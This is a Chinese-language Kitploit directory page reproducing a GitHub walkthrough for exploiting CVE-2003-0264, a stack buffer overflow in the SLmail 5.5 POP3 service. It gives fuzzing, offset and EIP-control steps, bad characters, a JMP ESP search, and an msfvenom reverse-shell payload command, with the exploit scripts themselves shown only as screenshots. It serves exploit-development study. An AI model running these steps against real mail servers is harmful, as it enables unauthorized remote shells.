Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/vrikodar/cve-2003-0264_exploit
漏洞利用Shellcode调试器模糊测试渗透测试学习与教育Payload 开发二进制利用
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Seattle Lab Mail(SLmail)5.5 中的缓冲区溢出 - POP3

查看仓库
5年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2003-0264_EXPLOIT

Seattle Lab Mail (SLmail) 5.5 中的缓冲区溢出 - POP3

基于栈的简单缓冲区溢出(逐步讲解)

1) 对应用程序进行模糊测试

首先,我们将使用一个简单的 Spike 脚本对应用程序进行模糊测试

同时,我们也会让 SLmail 附加到 Immunity Debugger 上[并运行]

更多关于 Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

这里是一个名为 spike_fuzz.spk 的简单 Spike 脚本

我们将使用以下命令对应用程序运行它

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

其中 192.168.1.117 是运行 SLMail 的目标机器的 IP,它运行在 110 端口

截图

同时,如果我们查看 Immunity,会看到应用程序已经崩溃

截图

2) 用于重现崩溃的 POC

现在我们将创建一个 Python POC,用于重现崩溃并计算应用程序崩溃时所在的字节

root@kitploit:~
           python poc_crash.py

截图

3) 查找偏移量

为了查找偏移量,我们将使用 msf

root@kitploit:~
      1. First Generate a pattern
      2. Note the EIP
      3. Query that EIP and Length with MSF to Find the Offset

msf-pattern_create -l 2700

截图

在 poc_offset.py 中,我们将使用这个 pattern 作为溢出缓冲区!

root@kitploit:~
       python poc_offset.py

截图

此时,我们还在 Immunity 中记下应用程序崩溃并暂停时的 EIP 值

截图

root@kitploit:~
        EIP is 39694438
        ::For Finding Offset::
        
        msf-pattern_offset -l 2700 -q 39694438

截图

offset 是 2606,意味着我们到达 EIP 之前有 2606 字节::: 且 EIP 本身长 4 字节

4) 控制 EIP

现在我们将尝试用 4 个 B 覆盖 EIP,即:: 在 Immunity 中我们应该看到 42424242 {4 个 B 的十六进制}

root@kitploit:~
        python poc_eip_control.py

截图

现在如果我们检查 Immunity

截图

5) 查找坏字符

为了简单起见

你可以运行 poc_badchars.py 脚本,然后自己查找坏字符

为了简短起见

这个应用程序有两个坏字符 {也是默认的},当我们第一次运行 poc_badchars.py 时,我们会看到字符 \x0a 有问题,然后我们将其从坏字符载荷中移除并再次运行脚本,,,第二次我们会看到字符 \x0d 被跳过,所以这是我们的第二个坏字符,我们将其从载荷中移除 :: 之后,当我们第三次运行脚本时,一切正常!!

root@kitploit:~
        badchars are :: \x00\x0a\x0d
        {nullbyte, Line feed, carriage return}

        python poc_badchars.py

6) 查找正确的模块和地址

首先我们使用 Immunity 中的 Mona 模块找到正确的模块

root@kitploit:~
              slmfc.dll is the most appropriate candidate as it does not have memory protections!

截图

现在我们在这个 DLL 中查找一个 JMP ESP 地址

这个地址将被写入 EIP,这样我们就能将程序执行重定向到 ESP,从而执行我们的 shellcode!

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 opcode equivalent of JMP ESP}

截图

从 19 个指针地址中,我们选择第一个

7) 弹出一个 Shell

现在我们将所有内容组合在一起并弹出一个 Shell

root@kitploit:~
              1.) generate the shell code {excluding badchars}
              2.) adding the address we Found {remeber Little Endian}
              3.) Add the buffer , return address, some nop-sleds, shellcode
              4.) we have a shell

让我们使用 msfvenom 快速生成 shellcode

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

截图

我们将所有内容组合到 exploit.py 文件中

截图

这次我们不带 Immunity 运行 SLmail,同时监听传入连接

完成之后,我们将运行最终的 exploit.py 脚本!

截图

太棒了,我们得到了一个 Shell!

下载工具